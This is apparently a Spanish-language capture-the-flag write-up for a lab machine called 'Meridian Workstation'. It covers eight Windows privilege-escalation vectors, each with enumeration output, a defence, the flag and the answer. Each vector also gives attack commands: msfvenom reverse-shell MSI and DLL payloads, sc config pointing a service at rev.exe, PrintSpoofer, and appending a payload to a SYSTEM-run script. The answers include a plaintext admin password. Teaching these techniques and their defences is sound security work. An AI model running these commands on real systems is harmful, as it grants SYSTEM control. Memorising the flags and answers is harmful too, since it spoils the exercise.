Writeup — Meridian Workstation
Vector 1 — Ruta de servicio sin comillas
★★
En el informe:
$ SERVICE_NAME: MeridianSync
BINARY_PATH_NAME: C:\Program Files\Meridian Sync\sync service\syncsvc.exe
Users escribe en: C:\Program Files\Meridian Sync\ (F)Cómo se explotaría (ilustrativo, sobre un Windows real):
$ # colocar un binario en la primera ruta interpretable escribible copy rev.exe "C:\Program Files\Meridian Sync\sync.exe" sc stop MeridianSync & sc start MeridianSync # arranca sync.exe como SYSTEM
Flag: GO{el_espacio_sin_comillas_abre_la_puerta}
Respuesta: MeridianSync. Defensa: entrecomillar siempre las rutas de servicio con espacios y restringir permisos en Program Files.
Vector 2 — Permisos débiles de servicio
★★
En el informe:
$ accesschk -uwcqv jdoe MeridianBackup -> RW MeridianBackup (SERVICE_CHANGE_CONFIG)
SERVICE_START_NAME: LocalSystemCómo se explotaría (ilustrativo, sobre un Windows real):
$ sc config MeridianBackup binPath= "C:\Windows\Temp\rev.exe" sc stop MeridianBackup & sc start MeridianBackup # rev.exe corre como SYSTEM
Flag: GO{si_puedes_reconfigurar_el_servicio_eres_system}
Respuesta: MeridianBackup. Defensa: que los usuarios no tengan SERVICE_CHANGE_CONFIG sobre servicios del sistema.
Vector 3 — AlwaysInstallElevated
★★
En el informe:
$ HKLM\...\Installer\AlwaysInstallElevated 0x1 HKCU\...\Installer\AlwaysInstallElevated 0x1 # las dos a 1
Cómo se explotaría (ilustrativo, sobre un Windows real):
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=.. LPORT=.. -f msi -o x.msi msiexec /quiet /qn /i x.msi # la carga se ejecuta como SYSTEM
Flag: GO{alwaysinstallelevated_es_un_msi_como_system}
Respuesta: AlwaysInstallElevated. Defensa: no habilitar esta política nunca; poner ambas claves a 0.
Vector 4 — Credenciales de autologon
★
En el informe:
$ Winlogon\AutoAdminLogon 1
Winlogon\DefaultUserName MERIDIAN-WS01\svc_admin
Winlogon\DefaultPassword M3ridian-Admin-2023!Cómo se explotaría (ilustrativo, sobre un Windows real):
$ runas /user:svc_admin cmd # o usar la clave directamente; svc_admin es privilegiado
Flag: GO{el_autologon_guarda_la_clave_en_claro}
Respuesta: M3ridian-Admin-2023!. Defensa: no usar autologon; si es imprescindible, guardar la credencial con LSA Secrets, no en claro.
Vector 5 — SeImpersonatePrivilege (Potato)
★★★
En el informe:
$ whoami /priv -> SeImpersonatePrivilege EnabledCómo se explotaría (ilustrativo, sobre un Windows real):
$ PrintSpoofer.exe -i -c cmd # o JuicyPotato/GodPotato según la versión de Windows # fuerza a un proceso SYSTEM a autenticarse y roba su token
Flag: GO{seimpersonate_es_una_patata_caliente}
Respuesta: SeImpersonatePrivilege. Defensa: minimizar las cuentas con este privilegio y mantener el sistema parcheado (las variantes de Potato dependen de la versión).
Vector 6 — DLL hijacking
★★★
En el informe:
$ Procmon: NAME NOT FOUND ...\sync service\SyncHelper.dll
Users escribe en esa carpeta: (F)Cómo se explotaría (ilustrativo, sobre un Windows real):
$ # generar una DLL maliciosa con el nombre esperado y colocarla msfvenom -p windows/x64/... -f dll -o SyncHelper.dll copy SyncHelper.dll "C:\Program Files\Meridian Sync\sync service\" # al reiniciar, MeridianSync (SYSTEM) la carga
Flag: GO{la_dll_que_falta_la_pones_tu}
Respuesta: SyncHelper.dll. Defensa: rutas de carga de DLL absolutas, y directorios de la aplicación no escribibles por usuarios.
Vector 7 — Tarea programada con script editable
★★
En el informe:
$ \MeridianReport -> Run As: SYSTEM -> powershell -File C:\Scripts\report.ps1
icacls C:\Scripts\report.ps1 -> Users:(M)Cómo se explotaría (ilustrativo, sobre un Windows real):
$ echo (tu payload) >> C:\Scripts\report.ps1 # se ejecutará como SYSTEM en el próximo disparo
Flag: GO{una_tarea_system_con_script_editable}
Respuesta: report.ps1. Defensa: que los scripts ejecutados por tareas privilegiadas no sean modificables por usuarios.
Vector 8 — Autorun con binario escribible
★★
En el informe:
$ HKLM\...\Run MeridianAgent C:\ProgramData\MeridianAgent\agent.exe
icacls agent.exe -> Users:(F)Cómo se explotaría (ilustrativo, sobre un Windows real):
$ copy rev.exe C:\ProgramData\MeridianAgent\agent.exe # se ejecuta al iniciar sesión un admin
Flag: GO{el_autorun_apunta_a_algo_que_puedes_escribir}
Respuesta: agent.exe. Defensa: los binarios de autoarranque deben residir en rutas protegidas y no escribibles por usuarios.
Resumen
| # | Vector | Señal en la enumeración |
|---|---|---|
| 1 | Unquoted service path | Ruta con espacios sin comillas + carpeta escribible |
| 2 | Permisos débiles de servicio | SERVICE_CHANGE_CONFIG para el usuario |
| 3 | AlwaysInstallElevated | Las dos claves del registro a 1 |
| 4 | Credenciales de autologon | DefaultPassword en claro en Winlogon |
| 5 | SeImpersonate (Potato) | Privilegio habilitado en whoami /priv |
| 6 | DLL hijacking | DLL NAME NOT FOUND + directorio escribible |
| 7 | Tarea programada | Tarea SYSTEM + script con permiso (M) para Users |
| 8 | Autorun | Entrada Run + binario con permiso (F) para Users |